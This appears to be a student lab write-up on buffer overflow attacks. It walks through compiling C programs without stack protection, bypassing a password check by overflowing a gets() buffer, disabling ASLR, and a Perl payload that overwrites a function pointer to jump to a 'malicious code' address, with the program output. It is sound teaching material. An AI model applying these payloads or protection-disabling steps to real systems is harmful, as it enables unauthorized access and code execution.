Experiment 1
Buffer Overflow Attack

1) If the user does not have Linux installed, download an ISO image for Ubuntu and install virtual machine software such as UTM or VirtualBox to virtualize Linux.
    a. There are multiple tutorials on YouTube to assist with the initial setup
    b. For a Mac with ARM architecture, I am using UTM
    c. Ensure you download an ISO image based on your systems architecture
2) Once a VM is installed, download the experiment 1 code
3) Write a C program for buffer overflow samples for heap overflow, integer overflow and stack overflow

4) Compile code with gcc with the following command line input “gcc -w -fno-stack-protector -Wall -pedantic YOUR C FILE NAME.c -o YOUR C FILE NAME”

    a. You may need to install gcc with the following command: “sudo apt install gcc”
    b. Run your code in the terminal “./YOUR FILE NAME
    c. You should receive an error at the end “Bus error” (core dumped)
    d. A bus error usually means that the program tried to access memory that isn’t properly aligned for the type of operation being performed
    e. Core dumped means This means that the operating system has captured the memory content of the crashed process and saved it to a file (often called "core").
5) For part 2, you will enter the wrong password. But, with an overflowing buffer, you may still get access to the next part of the code
    a. Open a new terminal in part 2
    b. Compile the code “gcc -w -fno-stack-protector ccode.c -o ccode” and run it
    c. You will notice the buffer is allocated 10 bytes on the stack and directly after is the xyz variable. When you input a string longer than 10 characters, you overflow “buffer” and overwrite the memory of “xyz”
    d. If the overflowed value makes “xyz” non-zero, it will evaluate to “true” and allow user access. This is because the gets() method doesn’t check the bounds of input
6) For part 3, compile the code “gcc -w -fno-stack-protector bo_test.c -o bo_test”
    a. If using a machine, you may need to disable the Address space layout randomization functionality with the following terminal command: “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space”
    b. Run the code with any 5 letter argument ie “./bo_test abcde”
    c. Copy the stack address of good code and malicious code. Here is mine:
        i. Good code: 0xaaaaaaaa0854

ii. Malicious code: 0xaaaaaaaa0874

```
Address of GOOD_CODE  = 0xaaaaaaaa0854
Address of MLIC_CODE  = 0xaaaaaaaa0874
SIZE : 8
Address of dsrd_fn    = 0xaaaaaaaa0854
GOOD CODE
My stack looks like:
0xfffff7f9e788
0xfbad2a84
0xfffff7ff7e60
0xaaaaaaaa0962
0xaaaaaaab22aa
 0x444f4320444f4f47
```

d. My system is little-endian so I am going to replace the first line of the pearl code to $arg = "AAAAAAAAAA"."\x74\x08\xaa\xaa\ xaa\xaa"; here is my output:

```
Address of GOOD_CODE  = 0xaaaaaaaa0854
Address of MLIC_CODE  = 0xaaaaaaaa0874
SIZE : 8
Address of dsrd_fn    = 0xaaaaaaaa0800
My stack looks like:
0xaaaaaaab1010
0xfffff7fa2e70
(nil)
0xaaaaaaaa0a4b
(nil)
 0xa
```